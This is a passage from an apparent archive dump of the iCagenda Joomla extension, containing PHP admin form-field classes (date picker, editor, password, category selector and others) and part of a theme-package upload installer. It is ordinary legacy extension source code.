defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_iC_editor extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_iC_editor';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		$icName = $this->name;
		$icDefault = $this->default;
		$icValue = $this->value;

		if (strpos($icValue,'\n') !== false)
		{
			$array_newline = array('\\n', '\n');
			$icValue = str_replace($array_newline, '<br />', $icValue);
		}

		$get_period_string = JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_BODY');
		$get_date_string = JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY');

		if  ($icValue == 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_BODY')
		{
			$icBody = $get_period_string;
		}
		elseif ($icValue == 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY')
		{
			$icBody = $get_date_string;
		}
		else
		{
			$icBody = $icValue;
		}

		$editor = JFactory::getEditor();

		$html	= array();

		$html[] = '<div id="'.$this->name.'_ic_editor"><fieldset class="span9 iCleft">';
		$html[] = $editor->display($this->name, $icBody, "100%", "300", "300", "20", 1, null, null, null, array('mode' => 'advanced'));
		$html[] = '</fieldset></div>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/date.php000060400000010726152455305270014422 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-13
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Supports unlimited modal datetime picker (add / delete).
 *
 * @package		iCagenda
 * @subpackage	com_icagenda
 * @since		1.0
 */
class JFormFieldModal_date extends JFormField
{
	protected $type = 'modal_date';

	protected function getInput()
	{
		$lang = JFactory::getLanguage();

		$id_suffix = ($lang->getTag() == 'fa-IR') ? '_jalali' : '';

		if ($lang->getTag() == 'fa-IR')
		{
			// Including fallback code for HTML5 non supported browsers.
			JHtml::_('jquery.framework');
			JHtml::_('script', 'system/html5fallback.js', false, true);
		}

		$id = JRequest::getInt('id');
		$class = !empty($this->class) ? ' ' . $this->class : '';

		$session = JFactory::getSession();
		$datesDB = $session->get('ic_submit_dates', '');

		if ($id && empty($datesDB))
		{
			$db	= JFactory::getDBO();
			$db->setQuery(
				'SELECT a.dates' .
				' FROM #__icagenda_events AS a' .
				' WHERE a.id = '.(int) $id
			);
			$datesDB = $db->loadResult();
		}

		$dates = iCString::isSerialized($datesDB) ? unserialize($datesDB) : false;

//		if ($lang->getTag() == 'fa-IR'
//			&& $dates
//			&& $dates != array('0000-00-00 00:00'))
//		{
//			$dates_to_sql = array();

//			foreach ($dates AS $date)
//			{
//				if (iCDate::isDate($date))
//				{
//					$year		= date('Y', strtotime($date));
//					$month		= date('m', strtotime($date));
//					$day		= date('d', strtotime($date));
//					$time		= date('H:i', strtotime($date));

//					$dates_to_sql[] = iCGlobalizeConvert::gregorianToJalali($year, $month, $day, true) . ' ' . $time;
//				}
//			}

//			$dates = $dates_to_sql;
//		}

		$html = '<table id="dTable' . $id_suffix . '" style="border:0px">';

		$html.= '<thead>';
		$html.= '<tr>';
		$html.= '<th width="70%">';
		$html.= JText::_('COM_ICAGENDA_TB_DATE');
		$html.= '</th>';
		$html.= '<th width="30%">';
//		$html.= JText::_('COM_ICAGENDA_TB_ACT');
		$html.= '</th>';
		$html.= '</tr>';
		$html.= '</thead>';

		$add_counter = 0;

		if ($dates
			&& $dates != array('0000-00-00 00:00'))
		{
			foreach ($dates as $date)
			{
				$html.= '<tr>';
				$html.= '<td>';

				if ($lang->getTag() == 'fa-IR')
				{
					$add_counter = $add_counter+1;
//					$this_number = $add_counter ? $add_counter : '';
					$html.= JHtml::_('calendar', $date, 'd', 'date_jalali' . $add_counter, '%Y-%m-%d %H:%M', ' class="ic-date-input' . $id_suffix . '"');
				}
				else
				{
					$html.= '<input class="ic-date-input' . $id_suffix . '" type="text" name="d" value="' . $date . '" />';
				}

				$html.= '</td>';
				$html.= '<td>';
				$html.= '<a class="del btn btn-danger btn-mini" href="#">' . JText::_('COM_ICAGENDA_DELETE_DATE') . '</a>';
				$html.= '</td>';
				$html.= '</tr>';
			}

			// clear the data so we don't process it again
			$session->clear('ic_submit_dates');
		}
		else
		{
			$html.= '<tr>';
			$html.= '<td>';

			if ($lang->getTag() == 'fa-IR')
			{
				$html.= JHtml::_('calendar', '0000-00-00 00:00', 'd', 'date_jalali', '%Y-%m-%d %H:%M', ' class="ic-date-input' . $id_suffix . '"');
			}
			else
			{
				$html.= '<input class="ic-date-input' . $id_suffix . '" type="text" name="d" value="0000-00-00 00:00" />';
			}
			$html.= '</td>';
			$html.= '<td>';
			$html.= '<a class="del btn btn-danger btn-mini" href="#">' . JText::_('COM_ICAGENDA_DELETE_DATE') . '</a>';
			$html.= '</td>';
			$html.= '</tr>';
		}

		$html.= '</table>';

		$html.= '<a id="add" href="#"><span class="btn btn-success btn-small input-medium" style="float:left"><strong>' . JText::_('COM_ICAGENDA_ADD_DATE') . '</strong></span></a><br/>';

		$html.= '<input type="hidden"';
		$html.= ' class="date' . $class . '"';
		$html.= ' id="' . $this->id . '_id"';
		$html.= ' name="' . $this->name . '"';
		$html.= ' value=\''.$datesDB.'\'';
		$html.= '/>';

		return $html;
	}
}
com_icagenda/models/fields/modal/ictext_type.php000060400000005643152455305270016050 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0.1 2013-09-22
 * @since       3.2.0.1
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictext_type extends JFormField
{
	protected $type='modal_ictext_type';

	protected function getInput()
	{
		jimport('joomla.application.component.helper');

		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]");
		$name = str_replace($replace, "", $this->name);
		$Type = $icagendaParams->get($name, '');

		$Type_default = $name.'_default';
		$Type_content = $name.'_custom';

		$class_default = '';
		$class_custom = '';
		$checked_default = '';
		$checked_custom = '';
		if ($Type == '') {
			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_custom = '';
		}
		elseif ($Type == '2') {
			$class_custom = 'btn-success';
			$checked_default = '';
			$checked_custom = ' checked="checked"';
		} else {
			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_custom = '';
		}

		$html	= array();
		$html[]	= '<fieldset class="radio btn-group">';
		$html[]	= '<label class="'.$class_default.'">'.JText::_( 'IC_DEFAULT' ).'<input type="radio"  id="'.$name.'_0" name="'.$this->name.'" value=""  onClick="icdefault_'.$name.'();"'.$checked_default.' /></label>';
		$html[]	= '<label class="'.$class_custom.'">'.JText::_( 'IC_CUSTOM_TEXT' ).'<input type="radio"  id="'.$name.'_2" name="'.$this->name.'" value="2"  onClick="iccustom_'.$name.'();"'.$checked_custom.' /></label>';
		$html[]	= '</fieldset>';



		$html[]	= '<script type="text/javascript">';
		$html[]	= 'function icdefault_'.$name.'()';
		$html[]	= '{';
//		$html[]	= 'document.getElementById("'.$Type_default.'").style.display = "block";';
		$html[]	= 'document.getElementById("'.$Type_content.'").style.display = "none";';
		$html[]	= '$("#'.$name.'_0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function iccustom_'.$name.'()';
		$html[]	= '{';
//		$html[]	= 'document.getElementById("'.$Type_default.'").style.display = "none";';
		$html[]	= 'document.getElementById("'.$Type_content.'").style.display = "block";';
		$html[]	= '$("#'.$name.'_2").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/color.php000060400000001725152455305270014622 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @update		2.0.4
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');


class JFormFieldModal_color extends JFormField
{
	protected $type='modal_color';
	
	protected function getInput()
	{
		$html= '
		<div class="color">
			<div class="form-item">
				<input type="text" id="'.$this->id.'" name="'.$this->name.'" value="'.$this->value.'" />
			</div>
			<div id="picker"></div>
			<div class="clr"></div>
		</div>
		<div class="clr"></div>
		';

		return $html;
	}
}com_icagenda/models/fields/modal/icmulti_opt.php000060400000007047152455305270016037 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.6 2013-11-20
 * @since       3.2.6
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_icmulti_opt extends JFormField
{
	protected $type='modal_icmulti_opt';

	protected function getInput()
	{

		$replace = array("jform", "params", "[", "]");
		$name_input = str_replace($replace, "", $this->name);
		$get_location = explode('_', $name_input);
		$location = $get_location['1'];
		$name = $get_location['0'];

		$Type = $this->value;

		$Type_none = $name.'_none';
		$Type_checkbox = $name.'_checkbox';

		$class_global = 'btn-primary';
		$class_none = 'btn-danger';
		$class_checkbox = 'btn-success';
		$checked_none = ' checked="checked"';
		$checked_checkbox = '';
		if ($Type == '0') {
			$class_global = '';
			$class_none = 'btn-danger';
			$class_checkbox = '';
			$checked_global = '';
			$checked_none = ' checked="checked"';
			$checked_checkbox = '';
		}
		elseif ($Type == '1') {
			$class_global = '';
			$class_none = '';
			$class_checkbox = 'btn-success';
			$checked_global = '';
			$checked_none = '';
			$checked_checkbox = ' checked="checked"';
		}
		else {
			$class_global = 'btn-primary';
			$class_none = '';
			$class_checkbox = '';
			$checked_global = ' checked="checked"';
			$checked_none = '';
			$checked_checkbox = '';
		}

		$html	= array();


		$html[]	= '<fieldset class="radio btn-group">';
		if ($location == 'menu') {
			$html[]	= '<label class="'.$class_global.'">'.JText::_( 'JGLOBAL_USE_GLOBAL' ).'<input type="radio"  id="'.$name.'_global" name="'.$this->name.'" value="global"  onClick="icglobal_'.$name.'();"'.$checked_global.' /></label>';
		}
		$html[]	= '<label class="'.$class_none.'">'.JText::_( 'JNO' ).'<input type="radio"  id="'.$name.'_0" name="'.$this->name.'" value="0"  onClick="icnone_'.$name.'();"'.$checked_none.' /></label>';
		$html[]	= '<label class="'.$class_checkbox.'">'.JText::_( 'JYES' ).'<input type="radio"  id="'.$name.'_1" name="'.$this->name.'" value="1"  onClick="iccheckbox_'.$name.'();"'.$checked_checkbox.' /></label>';
		$html[]	= '</fieldset>';


		$html[]	= '<script type="text/javascript">';
		$html[]	= 'var typeset = '.$Type.';';
		if ($location == 'menu') {
			$html[]	= 'function icglobal_'.$name.'()';
			$html[]	= '{';
			$html[]	= 'document.getElementById("'.$Type_checkbox.'").style.display = "none";';
			$html[]	= '$("#'.$name.'_global").attr("checked", "checked");';
			$html[]	= '}';
		}
		$html[]	= 'function icnone_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$Type_checkbox.'").style.display = "none";';
		$html[]	= '$("#'.$name.'_0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function iccheckbox_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$Type_checkbox.'").style.display = "block";';
		$html[]	= '$("#'.$name.'_1").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/iclink_url.php000060400000005123152455305270015633 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.1 2015-02-27
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

/**
 * Supports a url type field.
 */
class JFormFieldModal_iclink_url extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type='modal_iclink_url';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams	= JComponentHelper::getParams('com_icagenda');

		$Explode		= explode('_', $this->name);
		$TypeName		= $Explode[0] . ']';

		$replace		= array("jform", "params", "[", "]");
		$name			= str_replace($replace, "", $TypeName);

		$Type			= JRequest::getVar('type');

		$Type_default	= $name.'_default';
		$Type_article	= $name.'_article';
		$Type_url		= $name.'_url';


		$editor = JFactory::getEditor();

		$html	= array();

		$html[] = '<div id="' . $Type_url . '"><fieldset class="span9 iCleft">';
		$html[] = '<input type="url" name="' . $this->name . '" value="' . $this->value . '" />';
		$html[] = '</fieldset></div>';

		// Article
		if ($Type == '1')
		{
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("' . $Type_article . '").style.display = "block";';
			$html[] = 'document.getElementById("' . $Type_url . '").style.display = "none";';
			$html[] = '</script>';
		}

		// URL
		elseif ($Type == '2')
		{
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("' . $Type_article . '").style.display = "none";';
			$html[] = 'document.getElementById("' . $Type_url . '").style.display = "block";';
			$html[] = '</script>';
		}

		// iCagenda default
		else
		{
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("' . $Type_article . '").style.display = "none";';
			$html[] = 'document.getElementById("' . $Type_url . '").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/ictxt_default.php000060400000005000152455305270016331 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.5 2013-11-10
 * @since       3.2.5
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictxt_default extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_ictxt_default';

	/**
	 * Method to create a blank label.
	 */
	protected function getLabel()
	{
	   return ' ';
	}

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]", "Default");
		$name = str_replace($replace, "", $this->name);

		$tos_Type = $icagendaParams->get($name.'_Type', '');

		$Type_default = $name.'_default';
		$Type_article = $name.'_article';
		$Type_content = $name.'_custom';

		$html	= array();

		$html[] = '<div id="'.$name.'_default"><fieldset class="span9 iCleft">';
		$html[] = '<div class="alert alert-error">';
		if(version_compare(JVERSION, '3.0', 'ge')) {
			$html[] = '<i class="icon-warning-2"></i>';
		}
		$html[] = ' '.JText::sprintf( 'COM_ICAGENDA_TERMS_IMPORTANT_INFOS', $this->description ).'</div><div>'.JText::_( 'COM_ICAGENDA_SUBMIT_TOS_TYPE_DEFAULT_LBL' ).'<br /><small>'.$this->description.'</small></div><div class="alert alert-info">'.JText::_( $this->description ).'</div>';
		$html[] = '<input type="hidden" id="'.$this->id.'_id" name="'.$this->name.'" value="'.$this->value.'" />';
		$html[] = '</fieldset></div>';

		if ($tos_Type == '') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_default").style.display = "block";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("'.$name.'_default").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/ic_password.php000060400000002352152455305270016016 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-21
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ic_password extends JFormField
{
	protected $type='modal_ic_password';

	protected function getInput()
	{
		$_pass = str_replace('/', '.', $this->value);
		$pass_ex = explode('.', $_pass);

		if (isset($pass_ex[1]))
		{
			$value = base64_decode($pass_ex[1]);
		}
		else
		{
			$value = $this->value;
		}

		$html = '<input type="password" id="' . $this->id . '" name="' . $this->name . '" value="' . $value . '" />';

		return $html;
	}
}
com_icagenda/models/fields/modal/multicat.php000060400000004063152455305270015324 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-06
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_multicat extends JFormField
{
	protected $type='modal_multicat';

	protected function getInput()
	{
		// Initialize some field attributes.
		$class	= !empty($this->class) ? ' class="' . $this->class . '"' : '';

		// Query List of Categories
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('a.title, a.state, a.id')
			->from('`#__icagenda_category` AS a');
		$db->setQuery($query);
		$cat	= $db->loadObjectList();

		if (!is_array($this->value))
		{
			$this->value = array($this->value);
		}

		$html = ' <select multiple id="' . $this->id . '_id" name="' . $this->name . '"' . $class . '>';

		if (version_compare(JVERSION, '3.0', 'lt'))
		 {
			if ($this->name != 'jform[catid]' && $this->name != 'catid')
			{
				$html.= '<option value="0"';

				if (in_array('0', $this->value))
				{
					$html.= ' selected="selected"';
				}

				$html.= '>-- '.JTEXT::_('COM_ICAGENDA_ALL_CATEGORIES').' --</option>';
			}
		}

		foreach ($cat as $c)
		{
			if ($c->state == '1')
			{
				$html.= '<option value="' . $c->id . '"';

				if ( (in_array($c->id, $this->value)) && (!in_array('0', $this->value)) )
				{
					$html.= ' selected="selected"';
				}

				$html.= '>' . $c->title . '</option>';
			}
		}

		$html.= '</select>';

		return $html;
	}
}
com_icagenda/models/themes.php000060400000034351152455305270012430 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.0 2013-06-04
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');
jimport( 'joomla.html.parameter' );

if(version_compare(JVERSION, '3.0', 'ge')) {
	jimport( 'joomla.installer.installer' );
	jimport( 'joomla.installer.helper' );
	jimport( 'joomla.filesystem.folder' );
}

/**
 * Model Admin - Theme Manager - iCagenda
 */
class iCagendaModelthemes extends JModelList
{

	protected 	$_paths 	= array();
	protected 	$_manifest 	= null;
	protected	$option 		= 'com_icagenda';
	protected 	$text_prefix	= 'com_icagenda';

	function __construct(){
		parent::__construct();
	}

	public function getForm($data = array(), $loadData = true) {

		$app	= JFactory::getApplication();
		$form 	= $this->loadForm('com_icagenda.template', 'themes', array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form)) {
			return false;
		}
		return $form;
	}

	function install($theme) {
		$app		= JFactory::getApplication();
		$db 		= JFactory::getDBO();
		$package 	= $this->_getPackageFromUpload();

		if (!$package) {
			JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_FIND_INSTALL_PACKAGE'));
			$this->deleteTempFiles();
			return false;
		}

		if ($package['dir'] && JFolder::exists($package['dir'])) {
			$this->setPath('source', $package['dir']);
		} else {
			JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_INSTALL_PATH_NOT_EXISTS'));
			$this->deleteTempFiles();
			return false;
		}

		// We need to find the installation manifest file
		if (!$this->_findManifest()) {
			JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_FIND_INFO_INSTALL_PACKAGE'));
			$this->deleteTempFiles();
			return false;
		}

		// Files - copy files in manifest
		foreach ($this->_manifest->children() as $child)
		{
			if (is_a($child, 'JXMLElement') && $child->name() == 'files') {
				if ($this->parseFiles($child) === false) {
					JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_FIND_INFO_INSTALL_PACKAGE'));
					$this->deleteTempFiles();
					return false;
				}
			}
		}

		// File - copy the xml file
		$copyFile 		= array();
		$path['src']	= $this->getPath( 'manifest' ); // XML file will be copied too
		$path['dest']	= JPATH_SITE.DS.'components'.DS.'com_icagenda'.DS.'themes'.DS. basename($this->getPath('manifest'));
		$copyFile[] 	= $path;
		$this->copyFiles($copyFile, array());
		$this->deleteTempFiles();

		// -------------------
		// Themes
		// -------------------
		// Params -  Get new themes params
		$paramsThemes = $this->getParamsThemes();


		// -------------------
		// Component
		// -------------------
		if (isset($theme['component']) && $theme['component'] == 1 ) {

			$component			= 'com_icagenda';
			$paramsC			= JComponentHelper::getParams($component) ;

			foreach($paramsThemes as $keyT => $valueT) {
if(version_compare(JVERSION, '3.0', 'lt')) {
				$paramsC->setValue($valueT['name'], $valueT['value']);
} else {
				$paramsC->set($valueT['name'], $valueT['value']);
}
			}

			$data['params'] 	= $paramsC->toArray();
			$table 				= JTable::getInstance('extension');

			$idCom				= $table->find( array('element' => $component ));
			$table->load($idCom);

			if (!$table->bind($data)) {
				JError::raiseWarning( 500, 'Not a valid component' );
				return false;
			}

			// pre-save checks
			if (!$table->check()) {
				JError::raiseWarning( 500, $table->getError('Check Problem') );
				return false;
			}

			// save the changes
			if (!$table->store()) {
				JError::raiseWarning( 500, $table->getError('Store Problem') );
				return false;
			}
		}

		return true;
	}

	function _getPackageFromUpload()
	{
		// Get the uploaded file information
		$userfile = JRequest::getVar('Filedata', null, 'files', 'array' );
// 2.5		$userfile = JRequest::getVar('install_package', null, 'files', 'array' );

		// Make sure that file uploads are enabled in php
		if (!(bool) ini_get('file_uploads')) {
			JError::raiseWarning('SOME_ERROR_CODE', JText::_('COM_ICAGENDA_ERROR_INSTALL_FILE_UPLOAD'));
			return false;
		}

		// Make sure that zlib is loaded so that the package can be unpacked
		if (!extension_loaded('zlib')) {
			JError::raiseWarning('SOME_ERROR_CODE', JText::_('COM_ICAGENDA_ERROR_INSTALL_ZLIB'));
			return false;
		}

		// If there is no uploaded file, we have a problem...
		if (!is_array($userfile) ) {
			JError::raiseWarning('SOME_ERROR_CODE', JText::_('COM_ICAGENDA_ERROR_NO_FILE_SELECTED'));
			return false;
		}

		// Check if there was a problem uploading the file.
		if ( $userfile['error'] || $userfile['size'] < 1 ) {
			JError::raiseWarning('SOME_ERROR_CODE', JText::_('COM_ICAGENDA_ERROR_UPLOAD_FILE'));
			return false;
		}

		// Build the appropriate paths
if(version_compare(JVERSION, '3.0', 'lt')) {
		$config 	=& JFactory::getConfig();
		$tmp_dest 	= $config->getValue('config.tmp_path').DS.$userfile['name'];
} else {
		$config 	=& JFactory::getConfig();
		$tmp_dest 	= $config->get('tmp_path') . '/' . $userfile['name'];
}

		$tmp_src	= $userfile['tmp_name'];

		// Move uploaded file
		jimport('joomla.filesystem.file');
		$uploaded = JFile::upload($tmp_src, $tmp_dest);

		// Unpack the downloaded package file
if(version_compare(JVERSION, '3.0', 'lt')) {
		$package = JInstallerHelper::unpack($tmp_dest);
} else {
		$package = self::unpack($tmp_dest);
}

		$this->_manifest =& $manifest;

		$this->setPath('packagefile', $package['packagefile']);
		$this->setPath('extractdir', $package['extractdir']);

		return $package;
	}

	function getPath($name, $Default=null) {
		return (!empty($this->_paths[$name])) ? $this->_paths[$name] : $Default;
	}

	function setPath($name, $value) {
		$this->_paths[$name] = $value;
	}

	function _findManifest() {
		// Get an array of all the xml files from teh installation directory
		$xmlfiles = JFolder::files($this->getPath('source'), '.xml$', 1, true);

		// If at least one xml file exists
		if (count($xmlfiles) > 0) {
			foreach ($xmlfiles as $file)
			{
				// Is it a valid joomla installation manifest file?
				$manifest = $this->_isManifest($file);
				if (!is_null($manifest)) {

					$attr = $manifest->attributes();
					if ((string)$attr['method'] != 'icthemes') {
						JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_NO_THEME_FILE'));
						return false;
					}

					// Set the manifest object and path
					$this->_manifest =& $manifest;
					$this->setPath('manifest', $file);

					// Set the installation source path to that of the manifest file
					$this->setPath('source', dirname($file));

					return true;
				}
			}

			// None of the xml files found were valid install files
			JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_XML_INSTALL_ICAGENDA'));
			return false;
		} else {
			// No xml files were found in the install folder
			JError::raiseWarning(1, JText::_('COM_ICAGENDA_ERROR_XML_INSTALL'));
			return false;
		}
	}

	function _isManifest($file) {
		$xml	= JFactory::getXML($file, true);
		if (!$xml) {
			unset ($xml);
			return null;
		}
		if (!is_object($xml) || ($xml->name() != 'install' )) {
			unset ($xml);
			return null;
		}
		return $xml;
	}


	function parseFiles($element, $cid=0) {
		$copyfiles 		= array();
		$copyfolders 	= array();

		if (!is_a($element, 'JXMLElement') || !count($element->children())) {
			return 0;// Either the tag does not exist or has no children therefore we return zero files processed.
		}

		$files = $element->children();// Get the array of file nodes to process

		if (count($files) == 0) {
			return 0;// No files to process
		}

		$source 	 	= $this->getPath('source');
		$destination 	= JPATH_SITE.DS.'components'.DS.'com_icagenda'.DS.'themes';
		$destination2 	= JPATH_SITE.DS.'components'.DS.'com_icagenda'.DS.'themes'.DS.'packs';

if(version_compare(JVERSION, '3.0', 'lt')) {
		foreach ($files as $file) {
			if ($file->name() == 'folder') {
				$path['src']	= $source.DS.$file->data();
				$path['dest']	= $destination2.DS.$file->data();
				$copyfolders[] = $path;
			} else {
				$path['src']	= $source.DS.$file->data();
				$path['dest']	= $destination.DS.$file->data();
				$copyfiles[] = $path;
			}
		}
} else {
		if(!empty($files->folder)){
			foreach ($files->folder as $fk => $fv) {
				$path['src']	= $source . '/' . $fv;
				$path['dest']	= $destination2 . '/' . $fv;
				$copyfolders[] = $path;
			}
		}
		if (!empty($files->filename)) {
			foreach($files->filename as $fik => $fiv) {
				$path['src']	= $source . '/' . $fiv;
				$path['dest']	= $destination . '/' . $fiv;
				$copyfiles[] = $path;
			}
		}
}

		return $this->copyFiles($copyfiles, $copyfolders);
	}

	function copyFiles($files, $folders) {

		$i = 0;
		$fileIncluded = $folderIncluded = 0;
		if (is_array($folders) && count($folders) > 0)
		{
			foreach ($folders as $folder)
			{
				// Get the source and destination paths
				$foldersource	= JPath::clean($folder['src']);
				$folderdest		= JPath::clean($folder['dest']);

				if (!JFolder::exists($foldersource)) {
					JError::raiseWarning(1, JText::sprintf('COM_ICAGENDA_FOLDER_NOT_EXISTS', $foldersource));
					return false;
				} else {
					if (!(JFolder::copy($foldersource, $folderdest, '', true))) {
						JError::raiseWarning(1, JText::sprintf('COM_ICAGENDA_ERROR_COPY_FOLDER_TO', $foldersource, $folderdest));
						return false;
					} else {
						$i++;
					}
				}
			}
			$folderIncluded = 1;
		}

		if (is_array($files) && count($files) > 0)
		{
			foreach ($files as $file)
			{
				// Get the source and destination paths
				$filesource	= JPath::clean($file['src']);
				$filedest	= JPath::clean($file['dest']);

